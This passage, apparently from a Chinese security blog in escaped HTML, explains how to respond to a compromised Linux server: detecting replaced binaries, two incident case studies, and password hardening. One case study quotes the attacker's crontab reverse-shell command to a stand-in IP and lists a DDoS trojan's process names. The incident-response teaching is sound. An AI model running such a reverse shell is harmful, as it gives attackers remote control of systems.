\u5bc6\u7801&#xff0c;\u6216\u8005\u901a\u8fc7\u63a7\u5236\u5361\u64cd\u4f5c&#xff0c;\u6216\u8005\u76f4\u63a5\u8fd8\u539f\u7cfb\u7edf&#xff0c;\u90fd\u641e\u4e0d\u5b9a\u5c31\u76f4\u63a5\u91cd\u88c5\u5427\u3002<\/p>\n<p>\u4f7f\u7528\u5e38\u89c1\u7684\u5165\u4fb5\u68c0\u6d4b\u547d\u4ee4\u672a\u53d1\u73b0\u5f02\u5e38\u8fdb\u7a0b&#xff0c;\u4f46\u662f\u673a\u5668\u5728\u5bf9\u5916\u53d1\u5305&#xff0c;\u8fd9\u662f\u600e\u4e48\u56de\u4e8b&#xff1f;<\/p>\n<p>\u8fd9\u79cd\u60c5\u51b5\u4e0b\u5f88\u53ef\u80fd\u5e38\u7528\u7684\u7cfb\u7edf\u547d\u4ee4\u5df2\u7ecf\u88ab\u653b\u51fb\u8005\u6216\u8005\u6728\u9a6c\u7a0b\u5e8f\u66ff\u6362&#xff0c;\u53ef\u4ee5\u901a\u8fc7 md5sum \u5bf9\u6bd4\u672c\u673a\u4e8c\u8fdb\u5236\u6587\u4ef6\u4e0e\u6b63\u5e38\u673a\u5668\u7684 md5 \u503c\u662f\u5426\u4e00\u81f4\u3002<\/p>\n<p>\u5982\u679c\u53d1\u73b0\u4e0d\u4e00\u81f4&#xff0c;\u80af\u5b9a\u662f\u88ab\u66ff\u6362\u4e86&#xff0c;\u53ef\u4ee5\u4ece\u5176\u4ed6\u673a\u5668\u4e0a\u62f7\u8d1d\u547d\u4ee4\u5230\u672c\u673a\u66ff\u6362&#xff0c;\u6216\u8005 alias \u4e3a\u5176\u4ed6\u540d\u79f0&#xff0c;\u907f\u514d\u4e3a\u6076\u610f\u7a0b\u5e8f\u518d\u6b21\u66ff\u6362\u3002<\/p>\n<p>\u88ab getshell \u600e\u4e48\u529e&#xff1f;<\/p>\n<ul>\n<li>\n<p>\u6f0f\u6d1e\u4fee\u590d\u524d&#xff0c;\u7cfb\u7edf\u7acb\u5373\u4e0b\u7ebf&#xff0c;\u7528\u5185\u7f51\u73af\u5883\u8bbf\u95ee\u3002<\/p>\n<\/li>\n<li>\n<p>\u4e0a\u4f20\u70b9\u653e\u5230\u5185\u7f51\u8bbf\u95ee&#xff0c;\u4e0d\u5141\u8bb8\u5916\u7f51\u6709\u7c7b\u4f3c\u7684\u4e0a\u4f20\u70b9&#xff0c;\u6709\u4e0a\u4f20\u70b9&#xff0c;\u800c\u4e14\u6ca1\u6709\u6821\u9a8c\u6587\u4ef6\u7c7b\u578b\u5f88\u5bb9\u6613\u4e0a\u4f20 Webshell\u3002<\/p>\n<\/li>\n<li>\n<p>\u88ab getshell \u7684\u670d\u52a1\u5668\u4e2d\u662f\u5426\u6709\u654f\u611f\u6587\u4ef6\u548c\u6570\u636e\u5e93&#xff0c;\u5982\u679c\u6709\u8bf7\u68c0\u67e5\u662f\u5426\u6709\u6cc4\u6f0f\u3002<\/p>\n<\/li>\n<li>\n<p>hosts \u6587\u4ef6\u4e2d\u5bf9\u5e94\u7684 host \u5173\u7cfb\u9700\u8981\u91cd\u65b0\u914d\u7f6e&#xff0c;\u653b\u51fb\u8005\u53ef\u4ee5\u914d\u7f6e hosts \u6765\u8bbf\u95ee\u6d4b\u8bd5\u73af\u5883\u3002<\/p>\n<\/li>\n<li>\n<p>\u91cd\u88c5\u7cfb\u7edf\u3002<\/p>\n<\/li>\n<\/ul>\n<h3>\u6848\u4f8b\u5206\u6790<\/h3>\n<p>\u4e0a\u9762\u8bb2\u4e86\u5f88\u591a\u601d\u8def\u7684\u4e1c\u897f&#xff0c;\u76f8\u4fe1\u5927\u5bb6\u66f4\u60f3\u770b\u770b\u5b9e\u9645\u6848\u4f8b&#xff0c;\u4e0b\u9762\u4ecb\u7ecd\u4e24\u4e2a\u6848\u4f8b\u3002<\/p>\n<p>\u6848\u4f8b 1<\/p>\n<p>\u4e00\u4e2a\u522b\u4eba\u5904\u7406\u7684\u6848\u4f8b&#xff0c;\u57fa\u672c\u5904\u7406\u8fc7\u7a0b\u5982\u4e0b&#xff1a;<\/p>\n<p>\u901a\u8fc7\u5916\u90e8\u7aef\u53e3\u626b\u63cf\u6536\u96c6\u5f00\u653e\u7aef\u53e3\u4fe1\u606f&#xff0c;\u7136\u540e\u83b7\u53d6\u5230\u53cd\u5f39 Shell \u4fe1\u606f&#xff0c;\u767b\u9646\u673a\u5668\u53d1\u73b0\u5173\u952e\u547d\u4ee4\u5df2\u7ecf\u88ab\u66ff\u6362&#xff0c;\u540e\u9762\u67e5\u770b History \u8bb0\u5f55&#xff0c;\u53d1\u73b0\u7591\u4f3c\u6728\u9a6c\u6587\u4ef6&#xff0c;\u901a\u8fc7\u7b80\u5355\u9006\u5411\u548c\u8fdb\u7a0b\u67e5\u770b\u53d1\u73b0\u4e86\u5f02\u5e38\u8fdb\u7a0b&#xff0c;\u4ece\u800c\u9501\u5b9a\u4e86\u5165\u4fb5\u539f\u56e0\u3002<\/p>\n<p>**\u5177\u4f53\u5185\u5bb9\u53ef\u4ee5\u67e5\u770b&#xff1a;**http:\/\/www.freebuf.com\/articles\/system\/50728.html<\/p>\n<p>\u6848\u4f8b 2<\/p>\n<p>\u4e00\u4e2a\u7b14\u8005\u5b9e\u9645\u5904\u7406\u8fc7\u7684\u6848\u4f8b&#xff0c;\u57fa\u672c\u5904\u7406\u6d41\u7a0b\u8ddf\u4e0a\u9762\u63d0\u5230\u7684\u601d\u8def\u5927\u540c\u5c0f\u5f02\u3002<\/p>\n<p>\u6574\u4e2a\u4e8b\u60c5\u5904\u7406\u7ecf\u8fc7\u5927\u81f4\u5982\u4e0b&#xff1a;<\/p>\n<p>1\u3001\u8fd0\u7ef4\u53d1\u73b0\u4e00\u53f0\u79c1\u6709\u4e91\u4e3b\u673a\u95f4\u6b47\u6027\u7684\u5bf9\u5916\u53d1\u9001\u9ad8\u8fbe 800Mbps \u7684\u6d41\u91cf&#xff0c;\u5f71\u54cd\u4e86\u540c\u4e00\u4e2a\u7f51\u6bb5\u7684\u5176\u4ed6\u673a\u5668\u3002<\/p>\n<p>2\u3001\u5b89\u5168\u4eba\u5458\u63a5\u5230\u901a\u77e5\u540e&#xff0c;\u5148\u786e\u8ba4\u4e86\u673a\u5668\u5c5e\u4e8e\u5907\u673a&#xff0c;\u6ca1\u6709\u8dd1\u5728\u7ebf\u4e1a\u52a1&#xff0c;\u4e8e\u662f\u901a\u77e5\u8fd0\u7ef4\u5c01\u7981 iptables \u9650\u5236\u5916\u7f51\u8bbf\u95ee\u3002<\/p>\n<p>3\u3001\u8fd0\u7ef4\u4e3a\u5b89\u5168\u4eba\u5458\u4e34\u65f6\u5f00\u901a\u673a\u5668\u6743\u9650&#xff0c;\u5b89\u5168\u4eba\u5458\u901a\u8fc7 History \u548c ps \u627e\u5230\u7684\u5165\u4fb5\u8bb0\u5f55\u548c\u5f02\u5e38\u8fdb\u7a0b\u9501\u5b9a\u4e86\u5bf9\u5916\u5927\u91cf\u53d1\u5305\u7684\u5e94\u7528\u7a0b\u5e8f&#xff0c;\u6e05\u7406\u4e86\u6076\u610f\u8fdb\u7a0b\u5e76\u5220\u9664\u6076\u610f\u7a0b\u5e8f\u3002<\/p>\n<p>\u6076\u610f\u8fdb\u7a0b\u5982\u4e0b&#xff0c;\u7ecf\u8fc7\u5728\u7f51\u7edc\u641c\u7d22\u53d1\u73b0\u662f\u4e00\u79cd DDOS \u6728\u9a6c&#xff0c;\u4f46\u6ca1\u6709\u660e\u786e\u7684\u5904\u7406\u601d\u8def&#xff1a;<\/p>\n<p>\/usr\/bin\/bsd-port\/getty\/usr\/bin\/acpid.\/dbuspm-session \/sbin\/DDosClient RunByP4407\/sbin\/DDosClient RunByPM4673<\/p>\n<p>\u5904\u7406\u8fc7\u7a0b\u4e2d&#xff0c;\u5b89\u5168\u4eba\u5458\u6000\u7591\u7cfb\u7edf\u6587\u4ef6\u88ab\u66ff\u6362&#xff0c;\u901a\u8fc7\u5bf9\u6bd4\u8be5\u673a\u5668\u4e0e\u6b63\u5e38\u673a\u5668\u4e0a\u9762\u7684 ps\u3001netstat \u7b49\u7a0b\u5e8f\u7684\u5927\u5c0f\u53d1\u73b0\u654f\u611f\u7a0b\u5e8f\u5df2\u7ecf\u88ab\u66ff\u6362&#xff0c;\u800c\u4e14 mtime \u4e5f\u88ab\u4fee\u6539\u3002<\/p>\n<p>\u6b63\u5e38\u673a\u5668&#xff1a;<\/p>\n<ul>\n<li>\n<p>du -sh \/bin\/ps<\/p>\n<\/li>\n<li>\n<p>92K \/bin\/ps<\/p>\n<\/li>\n<li>\n<p>du -sh \/bin\/netstat<\/p>\n<\/li>\n<li>\n<p>120K \/bin\/netstat<\/p>\n<\/li>\n<\/ul>\n<p>\u88ab\u5165\u4fb5\u673a\u5668&#xff1a;<\/p>\n<ul>\n<li>\n<p>du -sh \/bin\/netstat<\/p>\n<\/li>\n<li>\n<p>2.0M \/bin\/netstat<\/p>\n<\/li>\n<li>\n<p>du -sh \/bin\/ps<\/p>\n<\/li>\n<li>\n<p>2.0M \/bin\/ps<\/p>\n<\/li>\n<\/ul>\n<p>\u5c06\u90e8\u5206\u5e38\u7528\u4e8c\u8fdb\u5236\u6587\u4ef6\u4fee\u590d\u540e&#xff0c;\u53d1\u73b0\u5f02\u5e38\u8fdb\u7a0b\u88ab kill \u6389\u540e\u4ecd\u91cd\u542f\u4e86&#xff0c;\u4e8e\u662f\u5b89\u88c5\u6740\u6bd2\u8f6f\u4ef6 clamav \u548c rootkit hunter \u8fdb\u884c\u5168\u76d8\u626b\u63cf\u3002<\/p>\n<p>\u4ece\u800c\u786e\u8ba4\u4e86\u88ab\u611f\u67d3\u7684\u6240\u6709\u6587\u4ef6&#xff0c;\u5c06\u90a3\u4e9b\u53ef\u4ee5\u5220\u9664\u7684\u6587\u4ef6\u5220\u9664\u540e\u518d\u6b21 kill \u6389\u5f02\u5e38\u8fdb\u7a0b&#xff0c;\u5219\u518d\u6ca1\u6709\u91cd\u542f\u7684\u95ee\u9898\u3002<\/p>\n<p>4\u3001\u5f71\u54cd\u8303\u56f4\u8bc4\u4f30<\/p>\n<p>\u7531\u4e8e\u8be5\u673a\u5668\u53ea\u662f\u5907\u673a&#xff0c;\u4e0a\u9762\u6ca1\u6709\u654f\u611f\u6570\u636e&#xff0c;\u4e8e\u662f\u4fe1\u606f\u6cc4\u9732\u95ee\u9898\u4e5f\u5c31\u4e0d\u5b58\u5728\u4e86\u3002<\/p>\n<p>\u626b\u63cf\u540c\u4e00\u7f51\u6bb5\u673a\u5668\u7aef\u53e3\u5f00\u653e\u60c5\u51b5\u3001\u6392\u67e5\u88ab\u5165\u4fb5\u673a\u5668 History \u662f\u5426\u6709\u5bf9\u5916\u626b\u63cf\u6216\u8005\u5165\u4fb5\u884c\u4e3a&#xff0c;\u4e3a\u6b64\u8fd8\u5728\u8be5\u7f51\u6bb5\u673a\u5668\u53e6\u5916\u90e8\u7f72\u871c\u7f50\u8fdb\u884c\u76d1\u63a7\u3002<\/p>\n<p>5\u3001\u6df1\u5165\u5206\u6790\u5165\u4fb5\u539f\u56e0<\/p>\n<p>\u901a\u8fc7\u88ab\u5165\u4fb5\u673a\u5668\u6240\u8dd1\u670d\u52a1\u3001iptables \u72b6\u6001&#xff0c;\u786e\u8ba4\u662f\u6240\u8dd1\u670d\u52a1\u652f\u6301\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u3002<\/p>\n<p>\u5e76\u4e14\u673a\u5668 iptables \u4e3a\u7a7a\u5bfc\u81f4\u9ed1\u5ba2\u901a\u8fc7\u5f80 \/etc\/crontab \u4e2d\u5199\u201cbash -i &gt;&amp; \/dev\/tcp\/10.0.0.1\/8080 0&gt;&amp;1\u201d\u547d\u4ee4\u65b9\u5f0f\u8fdb\u884c Shell \u53cd\u5f39&#xff0c;\u4ece\u800c\u5165\u4fb5\u4e86\u673a\u5668\u3002<\/p>\n<p>6\u3001\u9a8c\u8bc1\u4fee\u590d\u3001\u673a\u5668\u4e0b\u7ebf\u91cd\u88c5<\/p>\n<p>\u8fdb\u884c\u4ee5\u4e0a\u4fee\u590d\u64cd\u4f5c\u540e&#xff0c;\u76d1\u63a7\u672a\u53d1\u73b0\u518d\u6709\u5f02\u5e38&#xff0c;\u4e8e\u662f\u5c06\u673a\u5668\u4e0b\u7ebf\u91cd\u88c5\u3002<\/p>\n<p>7\u3001\u5b8c\u6210\u5b89\u5168\u4e8b\u4ef6\u5904\u7406\u62a5\u544a<\/p>\n<p>\u6bcf\u6b21\u5b89\u5168\u4e8b\u4ef6\u5904\u7406\u540e&#xff0c;\u90fd\u5e94\u5f53\u6574\u7406\u6210\u62a5\u544a&#xff0c;\u4e0d\u7ba1\u662f\u77e5\u8bc6\u5e93\u7684\u6784\u5efa&#xff0c;\u8fd8\u662f\u7edf\u8ba1\u5206\u6790\u5b89\u5168\u6001\u52bf&#xff0c;\u90fd\u662f\u5f88\u6709\u5fc5\u8981\u7684\u3002<\/p>\n<p>\u8fd9\u6b21\u4e3b\u8981\u4ecb\u7ecd\u4e86\u670d\u52a1\u5668\u88ab\u5165\u4fb5\u65f6\u63a8\u8350\u7684\u4e00\u5957\u5904\u7406\u601d\u8def\u3002\u5b9e\u9645\u4e0a&#xff0c;\u5b89\u5168\u9632\u62a4\u8ddf\u8fd0\u7ef4\u601d\u8def\u4e00\u6837&#xff0c;\u90fd\u662f\u8981\u9632\u60a3\u4e8e\u672a\u7136&#xff0c;\u8fd9\u65f6\u5019\u7684\u5ba1\u8ba1\u6216\u8005\u54cd\u5e94\u5f88\u96be\u907f\u514d\u5371\u5bb3\u7684\u53d1\u751f\u4e86\u3002<\/p>\n<p>\u6211\u4eec\u66f4\u5e0c\u671b\u901a\u8fc7\u5b89\u5168\u610f\u8bc6\u6559\u80b2\u3001\u5b89\u5168\u5236\u5ea6\u7684\u5efa\u8bbe&#xff0c;\u5728\u95ee\u9898\u663e\u9732\u7aef\u502a\u65f6\u5373\u53ef\u6d88\u5f2d\u4e8e\u65e0\u5f62\u3002<\/p>\n<h3>Linux\u670d\u52a1\u5668\u5b89\u5168\u9632\u62a4\u8981\u70b9<\/h3>\n<h4>1\u3001\u5f3a\u5316&#xff1a;\u5bc6\u7801\u7ba1\u7406<\/h4>\n<p>\u8bbe\u5b9a\u767b\u5f55\u5bc6\u7801\u662f\u4e00\u9879\u975e\u5e38\u91cd\u8981\u7684\u5b89\u5168\u63aa\u65bd&#xff0c;\u5982\u679c\u7528\u6237\u7684\u5bc6\u7801\u8bbe\u5b9a\u4e0d\u5408\u9002&#xff0c;\u5c31\u5f88\u5bb9\u6613\u88ab\u7834\u8bd1&#xff0c;\u5c24\u5176\u662f\u62e5\u6709\u8d85\u7ea7\u7528\u6237\u4f7f\u7528\u6743\u9650\u7684\u7528\u6237&#xff0c;\u5982\u679c\u6ca1\u6709\u826f\u597d\u7684\u5bc6\u7801&#xff0c;\u5c06\u7ed9\u7cfb\u7edf\u9020\u6210\u5f88\u5927\u7684\u5b89\u5168\u6f0f\u6d1e\u3002<\/p>\n<p>\u76ee\u524d\u5bc6\u7801\u7834\u89e3\u7a0b\u5e8f\u5927\u591a\u91c7\u7528\u5b57\u5178\u653b\u51fb\u4ee5\u53ca\u66b4\u529b\u653b\u51fb\u624b\u6bb5&#xff0c;\u800c\u5176\u4e2d\u7528\u6237\u5bc6\u7801\u8bbe\u5b9a\u4e0d\u5f53&#xff0c;\u5219\u6781\u6613\u53d7\u5230\u5b57\u5178\u653b\u51fb\u7684\u5a01\u80c1\u3002\u5f88\u591a\u7528\u6237\u559c\u6b22\u7528\u81ea\u5df1\u7684\u82f1\u6587\u540d\u3001\u751f\u65e5\u6216\u8005\u8d26\u6237\u7b49\u4fe1\u606f\u6765\u8bbe\u5b9a\u5bc6\u7801&#xff0c;\u8fd9\u6837&#xff0c;\u9ed1\u5ba2\u53ef\u80fd\u901a\u8fc7\u5b57\u5178\u653b\u51fb\u6216\u8005\u662f\u793e\u4f1a\u5de5\u7a0b\u7684\u624b\u6bb5\u6765\u7834\u89e3\u5bc6\u7801\u3002\u6240\u4ee5\u5efa\u8bae\u7528\u6237\u5728\u8bbe\u5b9a\u5bc6\u7801\u7684\u8fc7\u7a0b\u4e2d&#xff0c;\u5e94\u5c3d\u91cf\u4f7f\u7528\u975e\u5b57\u5178\u4e2d\u51fa\u73b0\u7684\u7ec4\u5408\u5b57\u7b26&#xff0c;\u5e76\u4e14\u91c7\u7528\u6570\u5b57\u4e0e\u5b57\u7b26\u76f8\u7ed3\u5408\u3001\u5927\u5c0f\u5199\u76f8\u7ed3\u5408\u7684\u5bc6\u7801\u8bbe\u7f6e\u65b9\u5f0f&#xff0c;\u589e\u52a0\u5bc6\u7801\u88ab\u9ed1\u5ba2\u7834\u89e3\u7684\u96be\u5ea6\u3002\u800c\u4e14&#xff0c;\u4e5f\u53ef\u4ee5\u4f7f\u7528\u5b9a\u671f\u4fee\u6539\u5bc6\u7801\u3001\u4f7f\u5bc6\u7801\u5b9a\u671f\u4f5c\u5e9f\u7684\u65b9\u5f0f&#xff0c;\u6765\u4fdd\u62a4\u81ea\u5df1\u7684\u767b\u5f55\u5bc6\u7801\u3002<\/p>\n<p>\u5728\u591a\u7528\u6237\u7cfb\u7edf\u4e2d&#xff0c;\u5982\u679c\u5f3a\u8feb\u6bcf\u4e2a\u7528\u6237\u9009\u62e9\u4e0d\u6613\u731c\u51fa\u7684\u5bc6\u7801&#xff0c;\u5c06\u5927\u5927\u63d0\u9ad8\u7cfb\u7edf\u7684\u5b89\u5168\u6027\u3002\u4f46\u5982\u679cpasswd\u7a0b\u5e8f\u65e0\u6cd5\u5f3a\u8feb\u6bcf\u4e2a\u4e0a\u673a\u7528\u6237\u4f7f\u7528\u6070\u5f53\u7684\u5bc6\u7801&#xff0c;\u8981\u786e\u4fdd\u5bc6\u7801\u7684\u5b89\u5168\u5ea6&#xff0c;\u5c31\u53ea\u80fd\u4f9d\u9760\u5bc6\u7801\u7834\u89e3\u7a0b\u5e8f\u4e86\u3002\u5b9e\u9645\u4e0a&#xff0c;\u5bc6\u7801\u7834\u89e3\u7a0b\u5e8f\u662f\u9ed1\u5ba2\u5de5\u5177\u7bb1\u4e2d\u7684\u4e00\u79cd\u5de5\u5177&#xff0c;\u5b83\u5c06\u5e38\u7528\u7684\u5bc6\u7801\u6216\u8005\u662f\u82f1\u6587\u5b57\u5178\u4e2d\u6240\u6709\u53ef\u80fd\u7528\u6765\u4f5c\u5bc6\u7801\u7684\u5b57\u90fd\u7528\u7a0b\u5e8f\u52a0\u5bc6\u6210\u5bc6\u7801\u5b57&#xff0c;\u7136\u540e\u5c06\u5176\u4e0eLinux\u7cfb\u7edf\u7684\/etc\/passwd\u5bc6\u7801\u6587\u4ef6\u6216\/etc\/shadow\u5f71\u5b50\u6587\u4ef6\u76f8\u6bd4\u8f83&#xff0c;\u5982\u679c\u53d1\u73b0\u6709\u543b\u5408\u7684\u5bc6\u7801&#xff0c;\u5c31\u53ef\u4ee5\u6c42\u5f97\u660e\u7801\u4e86\u3002\u5728\u7f51\u7edc\u4e0a\u53ef\u4ee5\u627e\u5230\u5f88\u591a\u5bc6\u7801\u7834\u89e3\u7a0b\u5e8f&#xff0c;\u6bd4\u8f83\u6709\u540d\u7684\u7a0b\u5e8f\u662fcrack\u548cjohn the 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Intrusion Detection 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